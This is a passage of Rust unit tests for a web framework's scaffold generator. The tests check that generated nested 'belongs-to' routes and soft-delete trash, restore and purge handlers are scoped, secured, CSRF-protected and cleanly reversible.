routes.contains(".filter(comments::post_id.eq(post_id))"),
"the child list must be scoped to the parent FK:\n{routes}"
);
// Paginated through the shipped `PageRequest`/`Page` primitives.
assert!(routes.contains("page_req: PageRequest"), "{routes}");
assert!(routes.contains(".limit(page_req.limit())"), "{routes}");
assert!(routes.contains(".offset(page_req.offset())"), "{routes}");
assert!(
routes.contains("let page_data: Page<Comment> = Page::new(items, total, page_req);"),
"{routes}"
);
}
#[test]
fn belongs_to_nested_create_takes_the_fk_from_the_path_not_the_body() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
let create = routes
.split("pub async fn nested_create(")
.nth(1)
.expect("nested_create handler");
let overwrite = create
.find("form.post_id = post_id.to_string();")
.expect("nested_create must overwrite the FK from the path");
let changeset = create
.find("form.into_changeset()")
.expect("nested_create must build a changeset");
assert!(
overwrite < changeset,
"the path FK must be applied BEFORE validation so a body-supplied \
post_id can never re-parent the child:\n{create}"
);
}
#[test]
fn belongs_to_nested_create_is_secured_and_redirects_to_the_parent_show() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
let create = routes
.split("/// `POST /posts/{post_id}/comments`")
.nth(1)
.expect("nested_create doc comment");
assert!(
create.starts_with(" — create one comment under its parent post.\n#[secured]\n"),
"the nested mutation must carry #[secured] like the flat create:\n{create}"
);
assert!(
create.contains(
"Ok(autumn_web::Redirect::to(&crate::routes::posts::paths::show(*post_id)).into_response())"
),
"PRG must redirect to the parent show:\n{create}"
);
assert!(
create.contains("UNPROCESSABLE_ENTITY"),
"an invalid submission must re-render at 422 with inline errors:\n{create}"
);
}
#[test]
fn belongs_to_hides_the_parent_fk_from_the_nested_form() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(
routes.contains("exclude_parent_fk: bool"),
"the shared form helper must accept the nested-form exclusion flag:\n{routes}"
);
assert!(
routes.contains("form = form.exclude(\"post_id\");"),
"the nested form must drop the parent FK control:\n{routes}"
);
// The child's OWN create/edit forms keep the parent select (#1146).
assert!(
routes.contains("paths::create(), \"Create\", csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), &post_id_options, false)"),
"the flat create form must keep the parent select:\n{routes}"
);
}
#[test]
fn belongs_to_child_show_links_back_to_its_parent() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(
routes.contains(
"(autumn_web::a11y::Link::new(crate::routes::posts::paths::show(row.post_id), \"Back to Post\"))"
),
"the child show view must link back to its parent:\n{routes}"
);
}
#[test]
fn belongs_to_child_rows_link_to_the_child_show_view() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
let section = routes
.split("async fn children_section_with(")
.nth(1)
.expect("children_section_with helper");
assert!(
section.contains("autumn_web::a11y::Link::new(paths::show(row.id), \"Show\")"),
"each child row must link to the child's own show view:\n{section}"
);
// The list reuses the shipped data_table widget.
assert!(
section.contains("autumn_web::widgets::data_table("),
"{section}"
);
}
#[test]
fn belongs_to_patches_the_parent_show_view_with_children_and_inline_form() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let parent = action_contents(&plan, "src/routes/posts.rs");
assert!(
parent.contains("crate::routes::comments::children_section("),
"the parent show must render its children section:\n{parent}"
);
assert!(
parent.contains("(__autumn_children_comments) // autumn:nested:comments"),
"the children section must be rendered inside the parent's markup:\n{parent}"
);
// Rendered above the "Back to list" furniture, i.e. inside the show body.
let render_at = parent
.find("(__autumn_children_comments) // autumn:nested:comments")
.unwrap();
let back_at = parent
.find("(autumn_web::a11y::Link::new(paths::index(), \"Back to list\"))")
.unwrap();
assert!(render_at < back_at, "{parent}");
// The extra extractors the inline form's CSRF/submit-token needs.
assert!(
parent.contains("__nested_csrf: Option<CsrfToken>"),
"the parent show needs CSRF extractors for the inline create form:\n{parent}"
);
assert!(
parent.contains("// autumn:nested-extractors"),
"the signature edit must be marked for destroy:\n{parent}"
);
}
#[test]
fn belongs_to_parent_injection_is_idempotent() {
let tmp = project_with_scaffolded_parent();
let first = nested_comment_plan(&tmp);
first.execute(Flags::default()).unwrap();
let after_first = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let second = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&belongs_to_options(),
)
.unwrap();
second
.execute(Flags {
force: true,
..Flags::default()
})
.unwrap();
let after_second = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert_eq!(
after_first, after_second,
"re-running the generator must not double-inject the parent-side section"
);
assert_eq!(
after_second.matches("// autumn:nested:comments").count(),
2,
"exactly one binding line + one render line:\n{after_second}"
);
}
#[test]
fn belongs_to_destroy_restores_the_parent_routes_file() {
temp_env::with_vars(
[
("AUTUMN_DATABASE__PRIMARY_URL", None::<&str>),
("AUTUMN_DATABASE__URL", None::<&str>),
("DATABASE_URL", None::<&str>),
],
|| {
let tmp = project_with_scaffolded_parent();
let parent_path = tmp.path().join("src/routes/posts.rs");
let original = fs::read_to_string(&parent_path).unwrap();
let plan = nested_comment_plan(&tmp);
plan.execute(Flags::default()).unwrap();
assert_ne!(fs::read_to_string(&parent_path).unwrap(), original);
let revert = plan_scaffold_with_options_for_revert(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&belongs_to_options(),
)
.unwrap();
revert.revert(Flags::default()).unwrap();
assert_eq!(
fs::read_to_string(&parent_path).unwrap(),
original,
"destroy must cleanly reverse the parent-side edits"
);
},
);
}
#[test]
fn belongs_to_registers_the_nested_routes_in_main() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let main = action_contents(&plan, "src/main.rs");
assert!(main.contains("routes::comments::nested_index"), "{main}");
assert!(main.contains("routes::comments::nested_create"), "{main}");
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(routes.contains(" nested_index,\n"), "{routes}");
assert!(routes.contains(" nested_create,\n"), "{routes}");
}
#[test]
fn belongs_to_generated_test_asserts_cross_parent_isolation() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let test = action_contents(&plan, "tests/comment.rs");
assert!(
test.contains("async fn comments_nested_under_parent()"),
"missing the generated nested write-path test:\n{test}"
);
assert!(
test.contains("a child must not appear under a different parent"),
"the test must assert the child is absent under a different parent:\n{test}"
);
// create child under parent → appears under that parent …
assert!(test.contains("/posts/1/comments"), "{test}");
// … and does NOT appear under a different parent.
assert!(test.contains("/posts/2/comments"), "{test}");
}
#[test]
fn belongs_to_marks_the_fk_form_field_serde_default() {
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(
routes.contains(" #[serde(default)]\n pub post_id: String,"),
"the nested form omits the FK control, so its decode must tolerate \
an absent field:\n{routes}"
);
}
#[test]
fn belongs_to_requires_a_matching_references_field() {
let tmp = project_with_scaffolded_parent();
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into()],
"20260428000000",
&belongs_to_options(),
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("post:references"), "got: {msg}");
}
#[test]
fn belongs_to_requires_the_parent_to_be_scaffolded_first() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&belongs_to_options(),
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("src/routes/posts.rs"), "got: {msg}");
}
#[test]
fn belongs_to_is_refused_for_unsupported_scaffold_variants() {
for (label, mutate) in [
(
"--api",
(|o: &mut ScaffoldOptions| o.api = true) as fn(&mut ScaffoldOptions),
),
("--live", |o: &mut ScaffoldOptions| o.live = true),
("--live-validation", |o: &mut ScaffoldOptions| {
o.live_validation = true;
}),
("--sharded", |o: &mut ScaffoldOptions| {
o.model.sharded = true;
}),
] {
let tmp = project_with_scaffolded_parent();
let mut options = belongs_to_options();
mutate(&mut options);
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&options,
)
.unwrap_err();
let msg = format!("{err}");
assert!(
msg.contains("--belongs-to") && msg.contains(label),
"{label} must be refused with an actionable message; got: {msg}"
);
}
}
#[test]
fn belongs_to_composes_with_the_other_form_helper_flags() {
// The shared `{snake}_form_for` helper grows one extra parameter per
// opt-in feature, and every call site must pass them in DECLARATION
// order. `lock_version` (#1318) and `exclude_parent_fk` (#1323) are both
// trailing flags, so getting the order wrong compiles the generator but
// emits a child module that does not — exactly the break this pins.
let tmp = project_with_scaffolded_parent();
let plan = plan_scaffold_with_options(
tmp.path(),
"Comment",
&[
"body:Text".into(),
"post:references".into(),
"lock_version:i32".into(),
],
"20260428000000",
&belongs_to_options(),
)
.unwrap();
let routes = action_contents(&plan, "src/routes/comments.rs");
let decl = routes
.find(" lock_version: Option<i32>,\n exclude_parent_fk: bool,")
.unwrap_or_else(|| {
panic!("helper params must be declared lock_version-then-exclude:\n{routes}")
});
assert!(decl > 0);
// The nested call passes them in the same order: no version, hide the FK.
assert!(
routes.contains("submit_field, &[], None, true)"),
"the nested form call must match the declaration order:\n{routes}"
);
// …and the flat create call: no version, keep the FK select.
assert!(
routes.contains("submit_field.as_ref(), &post_id_options, None, false)"),
"the flat create call must match the declaration order:\n{routes}"
);
}
#[test]
fn belongs_to_scopes_the_nested_list_like_the_flat_index() {
// A child with an owner column gets an owner-scoped, `#[secured]` flat
// index. The nested list is a SECOND listing surface onto the same rows,
// so it must carry the same scoping — otherwise `--belongs-to` would
// quietly open an unauthenticated door onto other users' children.
let tmp = project_with_scaffolded_parent();
let plan = plan_scaffold_with_options(
tmp.path(),
"Comment",
&[
"body:Text".into(),
"post:references".into(),
"user_id:i64".into(),
],
"20260428000000",
&belongs_to_options(),
)
.unwrap();
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(
routes.contains(".filter(comments::user_id.eq(owner_id))"),
"the nested list must be owner-scoped:\n{routes}"
);
assert!(
routes.contains(
"#[secured]\n#[get(\"/posts/{post_id}/comments\", name = \"nested_index\")]"
),
"the nested page must be secured like the flat index:\n{routes}"
);
// A scaffold with NO owner column keeps the unscoped list and no
// `#[secured]` — matching its own flat index.
let plan = nested_comment_plan(&project_with_scaffolded_parent());
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(!routes.contains("owner_id"), "{routes}");
assert!(
routes.contains("\n#[get(\"/posts/{post_id}/comments\", name = \"nested_index\")]"),
"{routes}"
);
}
#[test]
fn belongs_to_refuses_a_sharded_parent() {
// The child's own `--sharded` is refused elsewhere; this is the other
// side of the relationship, which the child's flags cannot see. A
// sharded parent holds a `ShardedDb`, which will not coerce to the
// `&mut Db` the injected `children_section` call borrows.
let tmp = project_with_main(default_main());
let parent = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
sharded: true,
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
parent.execute(Flags::default()).unwrap();
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&belongs_to_options(),
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("ShardedDb"), "got: {msg}");
}
#[test]
fn belongs_to_nested_list_headers_are_not_advertised_as_sortable() {
// The nested list runs a fixed `ORDER BY id DESC` and extracts no
// `ListQuery`, so a sortable header would render a link that reloads the
// identical list and an `aria-sort` that never changes.
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
let section = routes
.split("async fn children_section_with(")
.nth(1)
.expect("children_section_with helper");
let section = section.split("async fn nested_view(").next().unwrap();
assert!(
!section.contains(".sortable("),
"the nested columns must not advertise sorting the handler cannot do:\n{section}"
);
// The flat index still sorts.
assert!(routes.contains(".sortable(\"body\")"), "{routes}");
}
#[test]
fn belongs_to_nested_routes_404_on_a_parent_that_does_not_exist() {
// A path id is untrusted. Without a probe, `GET /posts/999/comments`
// renders a plausible-looking empty list + form, and submitting that
// form surfaces the foreign-key violation as a 500 instead of a 404.
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(
routes.contains("async fn require_post(db: &mut Db, post_id: i64)"),
"missing the parent-existence probe:\n{routes}"
);
assert!(
routes.contains(".map_err(AutumnError::not_found)?"),
"the probe must 404, not 500:\n{routes}"
);
// Both untrusted-path entry points run it: the page wrapper (which
// backs `nested_index` AND the 422 re-render) and the create's insert.
let view = routes
.split("async fn nested_view(")
.nth(1)
.expect("nested_view helper");
assert!(view.contains("require_post(db, post_id).await?;"), "{view}");
let create = routes
.split("pub async fn nested_create(")
.nth(1)
.expect("nested_create handler");
let probe = create
.find("require_post(&mut db, *post_id).await?;")
.expect("nested_create must probe the parent");
let insert = create
.find("diesel::insert_into(comments::table)")
.expect("nested_create must insert");
assert!(
probe < insert,
"the probe must run BEFORE the insert:\n{create}"
);
}
#[test]
fn destroy_unmounts_nested_routes_even_without_the_belongs_to_flag() {
// `--belongs-to` is something the author typed once, days ago. Omitting
// it on `destroy` must not leave `main.rs` mounting handlers whose
// module this destroy just deleted — an uncompilable project.
temp_env::with_vars(
[
("AUTUMN_DATABASE__PRIMARY_URL", None::<&str>),
("AUTUMN_DATABASE__URL", None::<&str>),
("DATABASE_URL", None::<&str>),
],
|| {
let tmp = project_with_scaffolded_parent();
nested_comment_plan(&tmp).execute(Flags::default()).unwrap();
let main_path = tmp.path().join("src/main.rs");
assert!(
fs::read_to_string(&main_path)
.unwrap()
.contains("routes::comments::nested_index")
);
// Recompute the plan WITHOUT `--belongs-to`, exactly as a
// forgetful `autumn destroy scaffold Comment …` would.
let revert = plan_scaffold_with_options_for_revert(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&ScaffoldOptions::default(),
)
.unwrap();
revert
.revert(Flags {
force: true,
..Flags::default()
})
.unwrap();
let main = fs::read_to_string(&main_path).unwrap();
assert!(!main.contains("nested_index"), "{main}");
assert!(!main.contains("nested_create"), "{main}");
let parent = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(!parent.contains("children_section"), "{parent}");
assert!(!parent.contains("autumn:nested"), "{parent}");
},
);
}
#[test]
fn regenerating_without_the_flag_keeps_an_existing_nesting_intact() {
// `--belongs-to` is typed once. A later `generate … --force` (the
// ordinary "I changed a field" move) rarely repeats it — and the three
// artefacts must not disagree: the child module, the `main.rs` mounts,
// and the parent's `children_section` call.
let tmp = project_with_scaffolded_parent();
nested_comment_plan(&tmp).execute(Flags::default()).unwrap();
let regen = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&ScaffoldOptions::default(),
)
.unwrap();
let routes = action_contents(®en, "src/routes/comments.rs");
assert!(
routes.contains("pub async fn nested_index("),
"the regenerated module must keep its nested handlers:\n{routes}"
);
let main = action_contents(®en, "src/main.rs");
assert!(main.contains("routes::comments::nested_index"), "{main}");
assert!(main.contains("routes::comments::nested_create"), "{main}");
// The inference is surfaced, never silent.
assert!(
regen
.warnings
.iter()
.any(|w| w.contains("still nests comments") && w.contains("--belongs-to Post")),
"expected a warning naming the recovered parent; got: {:?}",
regen.warnings
);
}
#[test]
fn regenerating_after_dropping_the_foreign_key_is_refused_before_anything_is_written() {
// Nothing to nest on any more, so there is no relationship to recover —
// and the parent's `children_section` call would be left pointing at a
// helper the regenerated module no longer defines. A warning is not
// enough: the command would report success on an app that no longer
// compiles. Refuse instead, having written nothing.
let tmp = project_with_scaffolded_parent();
nested_comment_plan(&tmp).execute(Flags::default()).unwrap();
let parent_before = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into()],
"20260428000000",
&ScaffoldOptions::default(),
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("already nested under posts"), "got: {msg}");
assert!(msg.contains("Nothing has been written"), "got: {msg}");
assert!(msg.contains("no longer compile"), "got: {msg}");
assert_eq!(
fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap(),
parent_before,
"a refusal must not touch the parent"
);
}
#[test]
fn re_parenting_an_already_nested_resource_is_refused() {
// The nastiest shape: it COMPILES. `posts.rs` keeps calling
// `children_section(&mut db, row.id, …)`, but the regenerated helper now
// filters on `user_id` — so Post #3's page would list User #3's comments
// and its inline form would create rows owned by that user.
let tmp = project_with_scaffolded_parent();
// A second scaffolded parent to re-point at.
plan_scaffold(
tmp.path(),
"User",
&["name:String".into()],
"20260427000001",
)
.unwrap()
.execute(Flags::default())
.unwrap();
plan_scaffold_with_options(
tmp.path(),
"Comment",
&[
"body:Text".into(),
"post:references".into(),
"user:references".into(),
],
"20260428000000",
&belongs_to_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&[
"body:Text".into(),
"post:references".into(),
"user:references".into(),
],
"20260428000000",
&ScaffoldOptions {
belongs_to: Some("User".to_owned()),
..ScaffoldOptions::default()
},
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("already nested under posts"), "got: {msg}");
assert!(
msg.contains("binds comments to users instead"),
"got: {msg}"
);
assert!(
msg.contains("quietly serves the wrong rows"),
"the message must name the failure mode — this shape COMPILES:\n{msg}"
);
}
#[test]
fn regenerating_the_parent_keeps_the_children_section_it_carries() {
// `Post` is not a child, so its plan has no `Nesting` and the flat
// template it re-renders knows nothing about comments. Without the
// re-apply, a `--force` on the parent would silently drop the children
// list and the markers — after which a later child regeneration, having
// no markers to read, would emit no nested handlers while `main.rs`
// still mounted them.
let tmp = project_with_scaffolded_parent();
nested_comment_plan(&tmp).execute(Flags::default()).unwrap();
let regen = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
let parent = action_contents(®en, "src/routes/posts.rs");
assert!(
parent.contains("// autumn:nested:comments"),
"the markers are the only durable record of the relationship:\n{parent}"
);
assert!(
parent.contains("crate::routes::comments::children_section("),
"{parent}"
);
assert!(parent.contains("(__autumn_children_comments)"), "{parent}");
}
#[test]
fn destroying_a_parent_that_still_has_nested_children_is_refused() {
// Deleting posts.rs and schema::posts out from under comments.rs — which
// imports both — leaves the project uncompilable with the nested routes
// still mounted. The plain divergence check stops the default destroy by
// accident, but says nothing about children and `--force` waves it
// through, so refuse explicitly.
let tmp = project_with_scaffolded_parent();
nested_comment_plan(&tmp).execute(Flags::default()).unwrap();
let err = plan_scaffold_with_options_for_revert(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions::default(),
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("comments is nested under posts"), "got: {msg}");
assert!(msg.contains("Destroy comments first"), "got: {msg}");
assert!(msg.contains("crate::routes::posts::paths"), "got: {msg}");
// …and the child's own destroy is unaffected: it is the operation the
// refusal points at, so it must not refuse itself.
plan_scaffold_with_options_for_revert(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&ScaffoldOptions::default(),
)
.expect("destroying the CHILD must still be allowed");
}
#[test]
fn regenerating_a_nested_parent_into_an_incompatible_variant_is_refused() {
// "The marker landed" is not the test: a `--sharded` parent's `show`
// takes the injection perfectly cleanly and then fails to compile,
// because `children_section` borrows `&mut Db` and the handler now holds
// a `ShardedDb`. The parent's own regeneration runs none of the
// preflights `resolve` does for a child, so it checks them here.
let tmp = project_with_scaffolded_parent();
nested_comment_plan(&tmp).execute(Flags::default()).unwrap();
let before = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
sharded: true,
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("comments is nested under posts"), "got: {msg}");
assert!(msg.contains("Nothing has been written"), "got: {msg}");
assert_eq!(
fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap(),
before,
"a refusal must not touch the parent"
);
}
#[test]
fn the_injected_show_carries_the_lint_allowance_its_extra_extractors_need() {
// A generated project's own CI runs `cargo clippy --all-targets -- -D
// warnings`. Every standard `show` already takes three parameters, so
// six extractors trip `too_many_arguments` (9/7) — `cargo check` passes,
// which is why this stayed invisible. The allowance is reversible: it
// carries the extractors marker and comes off with them.
let tmp = project_with_scaffolded_parent();
let plan = nested_comment_plan(&tmp);
let parent = action_contents(&plan, "src/routes/posts.rs");
let allow = parent
.find("#[allow(clippy::too_many_arguments)] // autumn:nested-extractors")
.expect("the injected show needs a lint allowance");
let sig = parent.find("pub async fn show(").expect("show");
assert!(
allow < sig,
"the allowance must precede the signature:\n{parent}"
);
let reverted = super::super::nested::remove_nested_child_section(&parent, "comments");
assert!(
!reverted.contains("#[allow(clippy::too_many_arguments)] // autumn:nested"),
"the allowance must come off with the extractors:\n{reverted}"
);
}
#[test]
fn without_belongs_to_the_scaffold_output_is_unchanged() {
let tmp = project_with_scaffolded_parent();
let plan = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260428000000",
&ScaffoldOptions::default(),
)
.unwrap();
let routes = action_contents(&plan, "src/routes/comments.rs");
assert!(!routes.contains("nested_index"), "{routes}");
assert!(!routes.contains("children_section"), "{routes}");
assert!(!routes.contains("exclude_parent_fk"), "{routes}");
// The parent's routes file is not touched at all.
assert!(
!plan
.actions
.iter()
.any(|a| a.path().ends_with("routes/posts.rs")),
"a flat scaffold must never patch a sibling resource"
);
}
// ── Trash view + restore/purge (issue #1332) ───────────────────────────
/// A `--soft-delete` `Post` scaffold's options, with `extra` applied on top.
fn trash_options(extra: impl FnOnce(&mut ScaffoldOptions)) -> ScaffoldOptions {
let mut options = ScaffoldOptions {
model: ModelOptions {
soft_delete: true,
..Default::default()
},
..Default::default()
};
extra(&mut options);
options
}
/// Plan a `Post` scaffold with `options` and return the whole plan, so a
/// test can read the routes module, `main.rs`, and the smoke test together.
fn trash_plan(options: &ScaffoldOptions, extra_fields: &[&str]) -> Plan {
let tmp = project_with_main(default_main());
let mut fields = bulk_fields();
fields.extend(extra_fields.iter().map(|f| (*f).to_owned()));
let plan =
plan_scaffold_with_options(tmp.path(), "Post", &fields, "20260427000000", options)
.unwrap();
// Keep the tempdir alive for the duration of the plan's construction
// only — every assertion below reads the in-memory action contents.
drop(tmp);
plan
}
/// The routes module a `--soft-delete` `Post` scaffold emits.
fn trash_routes(options: &ScaffoldOptions) -> String {
action_contents(&trash_plan(options, &[]), "src/routes/posts.rs")
}
/// The default (standard, non-owner) `--soft-delete` routes module.
fn trash_routes_default() -> String {
trash_routes(&trash_options(|_| {}))
}
/// Every word the trash surface introduces. Deliberately whole WORDS
/// (`trash`, `restore`, `purge`, `only_deleted`) rather than the precise
/// call sites: a gated-off variant must carry no trace of the feature at
/// all, and matching on the narrow spellings would miss a stray link,
/// comment, or doc line that leaked through a gate.
const TRASH_WORDS: &[&str] = &[
"trash",
"Trash",
"restore",
"Restore",
"purge",
"Purge",
"only_deleted",
];
fn assert_no_trash_surface(routes: &str, main: &str, label: &str) {
for word in TRASH_WORDS {
assert!(
!routes.contains(word),
"{label} must not emit `{word}` anywhere:\n{routes}"
);
}
for entry in ["::trash", "::restore", "::purge"] {
assert!(
!main.contains(entry),
"{label} must not mount `{entry}`:\n{main}"
);
}
}
#[test]
fn soft_delete_emits_trash_route_listing_via_the_only_deleted_scope() {
let routes = trash_routes_default();
assert!(
routes.contains("#[get(\"/posts/trash\")]"),
"a --soft-delete scaffold must emit GET /posts/trash:\n{routes}"
);
let trash = handler_slice(&routes, "trash");
assert!(
trash.contains("repo.page_only_deleted(&page_req)"),
"the trash list must come from the generated only_deleted scope:\n{trash}"
);
assert!(
!trash.contains("deleted_at.is_not_null()"),
"the trash list must not hand-roll a deleted_at filter:\n{trash}"
);
}
#[test]
fn soft_delete_index_links_to_the_trash_view() {
let routes = trash_routes_default();
let index = handler_slice(&routes, "index");
assert!(
index.contains("paths::trash()") && index.contains("\"Trash\""),
"the index must link to the trash view:\n{index}"
);
}
#[test]
fn trash_rows_render_csrf_protected_restore_and_purge_controls() {
let routes = trash_routes_default();
let trash = handler_slice(&routes, "trash");
assert!(
trash.contains("paths::restore(row.id)"),
"each trash row needs a Restore control:\n{trash}"
);
assert!(
trash.contains("paths::purge(row.id)"),
"each trash row needs a Purge control:\n{trash}"
);
assert!(
trash.contains("csrf_input(csrf.as_ref(), csrf_field.as_ref())"),
"the Restore control must carry the CSRF hidden input:\n{trash}"
);
assert!(
trash.contains("csrf: Option<CsrfToken>"),
"the trash handler must extract a CSRF token for its row forms:\n{trash}"
);
// Issue #1706: a submit control is emitted through the typed `a11y`
// primitive, whose constructor requires an accessible name.
assert!(
trash.contains("autumn_web::a11y::Button::new(\"Restore\").submit()"),
"Restore must render through the a11y Button primitive:\n{trash}"
);
// The confirm dialog is titled per row: one dialog per row means
// identical titles would stack indistinguishable headings in the outline
// and never tell the user WHICH row they are about to destroy.
assert!(
trash.contains("format!(\"Permanently delete post {}?\", row.id)"),
"the purge dialog must name the row it destroys:\n{trash}"
);
// Purge confirms through the framework's server-rendered dialog. An
// inline `onclick` would be blocked by the default `script-src 'self'`
// CSP, so the form would submit with no prompt at all.
assert!(
trash.contains("autumn_web::widgets::confirm_action(")
&& trash.contains("ConfirmActionConfig::new()"),
"Purge must require an explicit, CSP-safe confirm step:\n{trash}"
);
assert!(
trash.contains("purge_csrf"),
"the Purge control must carry a CSRF token:\n{trash}"
);
assert!(
!trash.contains("onclick="),
"an inline onclick confirm is blocked by the default CSP:\n{trash}"
);
}
#[test]
fn restore_handler_is_secured_calls_the_repository_and_returns_to_trash() {
let routes = trash_routes_default();
assert!(
routes.contains("#[secured]\n#[post(\"/posts/{id}/restore\")]"),
"restore must be a secured POST route:\n{routes}"
);
let restore = handler_slice(&routes, "restore");
assert!(
restore.contains("repo.restore(row.id).await?"),
"restore must call the generated repository restore:\n{restore}"
);
assert!(
restore.contains("posts::deleted_at.is_not_null()"),
"restore must only reach rows that are actually in the trash:\n{restore}"
);
assert!(
restore.contains("flash.success("),
"restore must surface a flash confirmation:\n{restore}"
);
assert!(
restore.contains("Redirect::to(&paths::trash())"),
"restore must redirect back to the trash view:\n{restore}"
);
}
#[test]
fn purge_handler_is_secured_calls_the_repository_and_returns_to_trash() {
let routes = trash_routes_default();
assert!(
routes.contains("#[secured]\n#[post(\"/posts/{id}/purge\")]"),
"purge must be a secured POST route:\n{routes}"
);
let purge = handler_slice(&routes, "purge");
assert!(
purge.contains("repo.purge(row.id).await?"),
"purge must call the generated repository purge:\n{purge}"
);
assert!(
purge.contains("posts::deleted_at.is_not_null()"),
"purge must never hard-delete a live row:\n{purge}"
);
assert!(
!purge.contains("diesel::delete("),
"purge must route the hard delete through the repository:\n{purge}"
);
assert!(
purge.contains("flash.success("),
"purge must surface a flash confirmation:\n{purge}"
);
assert!(
purge.contains("Redirect::to(&paths::trash())"),
"purge must redirect back to the trash view:\n{purge}"
);
}
#[test]
fn restore_and_purge_record_authorize_the_row_they_load() {
let routes = trash_routes_default();
for name in ["restore", "purge"] {
let handler = handler_slice(&routes, name);
assert!(
handler.contains(
"autumn_web::authorization::authorize::<Post>(&state, &session, \"delete\", &row)"
),
"{name} must record-authorize its target row:\n{handler}"
);
}
}
#[test]
fn trash_surface_is_exported_through_the_typed_paths_module() {
let routes = trash_routes_default();
for name in [" trash,", " restore,", " purge,"] {
assert!(
routes.contains(name),
"the paths! block must export `{name}`:\n{routes}"
);
}
}
#[test]
fn trash_surface_is_mounted_in_main_rs() {
let plan = trash_plan(&trash_options(|_| {}), &[]);
let main = action_contents(&plan, "src/main.rs");
for entry in [
"routes::posts::trash",
"routes::posts::restore",
"routes::posts::purge",
] {
assert!(
main.contains(entry),
"main.rs must mount `{entry}`:\n{main}"
);
}
}
#[test]
fn soft_delete_smoke_test_exercises_the_full_trash_lifecycle() {
let plan = trash_plan(&trash_options(|_| {}), &[]);
let test_src = action_contents(&plan, "tests/post.rs");
assert!(
test_src.contains("async fn posts_trash_restore_purge_lifecycle()"),
"a --soft-delete scaffold must generate the trash lifecycle test:\n{test_src}"
);
for step in [
"/posts/1/delete",
"/posts/trash",
"/posts/1/restore",
"/posts/1/purge",
] {
assert!(
test_src.contains(step),
"the lifecycle test must exercise `{step}`:\n{test_src}"
);
}
}
#[test]
fn scaffold_without_soft_delete_emits_no_trash_surface() {
let plan = trash_plan(&ScaffoldOptions::default(), &[]);
assert_no_trash_surface(
&action_contents(&plan, "src/routes/posts.rs"),
&action_contents(&plan, "src/main.rs"),
"a scaffold without --soft-delete",
);
let test_src = action_contents(&plan, "tests/post.rs");
assert!(
!test_src.contains("trash"),
"a scaffold without --soft-delete must generate no trash test:\n{test_src}"
);
}
#[test]
fn gated_off_soft_delete_variants_emit_no_trash_surface() {
// `--live` / `--live-validation`: a restore bypasses the repository's
// broadcasting `save`, so the SSE list would never learn about the row.
// `--sharded`: `page_only_deleted` refuses to fan out, so a trash page
// would silently show one shard's deletions.
let cases: [(&str, ScaffoldOptions, &[&str]); 4] = [
